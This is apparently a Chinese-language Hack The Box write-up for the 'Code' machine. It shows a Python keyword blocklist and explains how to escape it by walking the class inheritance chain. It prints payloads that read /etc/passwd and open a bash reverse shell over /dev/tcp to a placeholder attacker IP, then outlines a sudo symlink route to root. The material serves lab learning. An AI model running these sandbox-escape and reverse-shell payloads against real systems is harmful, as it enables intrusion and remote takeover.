HTB_Code

linux(eazy)

总结

user

它应该是继承链那块的知识，绕过一些执行函数->命令执行app-shell->db文件->martin-shell

root

sudo -l，软链接，先软链接好指定的目标目录，设置归档范围时再具体到文件名即可

白名单部分：

try:
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']:
if keyword in code.lower():
return jsonify({'output': 'Use of restricted keywords is not allowed.'})
exec(code)
        output = redirected_output.getvalue()
except Exception as e:
        output = str(e)
finally:
        sys.stdout = old_stdout
return jsonify({'output': output})

命令执行绕过参考：

https://book.hacktricks.wiki/en/generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#command-execution-libraries

类似于这种格式，需要找到对应索引，就可以直接调用相关方法

().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()

#在web上查看支持的类

print(().__class__.__base__.__subclasses__())
...
<class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>...

for i, c in enumerate((()).__class__.__base__.__subclasses__()):
print(i, c)
...
<class 'subprocess.CompletedProcess'>n317 <class 'subprocess.Popen'>n318 

显示不全就用ctrl+shift+i看即可

poc：
().__class__.__bases__[0].__subclasses__()[317](["/bin/bash","-c","bash -i >& /dev/tcp/kali_ip/3434 0>&1"])

 tar -xvjf *bz2

参考

https://book.hacktricks.wiki/en/generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#command-execution-libraries